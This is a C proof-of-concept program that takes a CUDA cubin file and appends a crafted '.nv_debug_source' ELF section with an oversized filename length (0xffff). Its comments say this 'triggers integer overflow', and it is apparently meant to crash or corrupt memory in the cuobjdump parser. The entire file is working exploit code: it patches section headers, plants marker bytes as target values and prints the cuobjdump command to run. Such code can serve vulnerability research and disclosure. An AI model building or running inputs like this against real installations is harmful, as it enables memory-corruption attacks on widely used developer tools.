#include #include #include #include void write_u16(uint8_t *buf, size_t off, uint16_t v) { buf[off] = v & 0xFF; buf[off+1] = (v >> 8) & 0xFF; } void write_u32(uint8_t *buf, size_t off, uint32_t v) { for (int i = 0; i < 4; i++) { buf[off+i] = (v >> (i*8)) & 0xFF; } } void write_u64(uint8_t *buf, size_t off, uint64_t v) { for (int i = 0; i < 8; i++) { buf[off+i] = (v >> (i*8)) & 0xFF; } } int main(int argc, char **argv) { if (argc != 3) { printf("Usage: %s \n", argv[0]); return 1; } // Read the working cubin FILE *f = fopen(argv[1], "rb"); if (!f) { perror("fopen input"); return 1; } fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET); uint8_t *cubin = malloc(size + 0x1000); fread(cubin, 1, size, f); fclose(f); // Find where to put our vulnerable section - at the end uint64_t new_section_offset = size; // Create the exact vulnerable .nv_debug_source section uint8_t vulnerable_section[0x500] = {0}; // Header write_u16(vulnerable_section, 0, 256); // version write_u64(vulnerable_section, 2, 0x500); // size write_u16(vulnerable_section, 10, 2); // nsources // Entry 1: Vulnerable - triggers integer overflow write_u16(vulnerable_section, 32, 0xffff); // filename_size = 0xffff write_u64(vulnerable_section, 34, 0x80); // filename_offset // Entry 2: Normal write_u16(vulnerable_section, 80, 0x10); // filename_size write_u64(vulnerable_section, 82, 0x150); // filename_offset // Target value //for(int i = 0; i < 800; i++) { // vulnerable_section[0x100 + i] = 0x41; // 0x41414141414141 //} for(int i = 0; i < 100; i++) { vulnerable_section[0x40 + i] = 0x40; // marker at 0x40 vulnerable_section[0x80 + i] = 0x80; // marker at 0x80 vulnerable_section[0x100 + i] = 0x41; // marker at 0x100 vulnerable_section[0x150 + i] = 0x50; // marker at 0x150 } // Add some source-like data memset(vulnerable_section + 0x150, 0x42, 0x20); // Append to the cubin memcpy(cubin + new_section_offset, vulnerable_section, sizeof(vulnerable_section)); // We need to add a section header for this new section // Parse ELF header to find section header table uint64_t shoff = *(uint64_t*)(cubin + 0x28); uint16_t shnum = *(uint16_t*)(cubin + 0x3C); uint16_t shstrndx = *(uint16_t*)(cubin + 0x3E); // Find section string table uint8_t *sh_strtab = cubin + shoff + shstrndx * 0x40; uint64_t shstrtab_offset = *(uint64_t*)(sh_strtab + 0x18); uint64_t shstrtab_size = *(uint64_t*)(sh_strtab + 0x20); // Add ".nv_debug_source" to string table uint64_t name_offset = shstrtab_size; char *new_name = ".nv_debug_source"; memcpy(cubin + shstrtab_offset + shstrtab_size, new_name, strlen(new_name) + 1); write_u64(sh_strtab, 0x20, shstrtab_size + strlen(new_name) + 1); // Create new section header uint8_t new_sh[0x40] = {0}; write_u32(new_sh, 0, name_offset); // sh_name write_u32(new_sh, 4, 1); // sh_type = PROGBITS write_u64(new_sh, 24, new_section_offset); // sh_offset write_u64(new_sh, 32, sizeof(vulnerable_section)); // sh_size write_u64(new_sh, 48, 8); // sh_addralign // Add section header uint64_t new_shoff = shoff + shnum * 0x40; memcpy(cubin + new_shoff, new_sh, 0x40); // Update ELF header write_u16(cubin, 0x3C, shnum + 1); // e_shnum // Write modified cubin FILE *out = fopen(argv[2], "wb"); fwrite(cubin, 1, new_section_offset + sizeof(vulnerable_section), out); fclose(out); printf("Created %s with vulnerable .nv_debug_source section\n", argv[2]); printf("Run: ./cuobjdump --dump-elf %s\n", argv[2]); free(cubin); return 0; }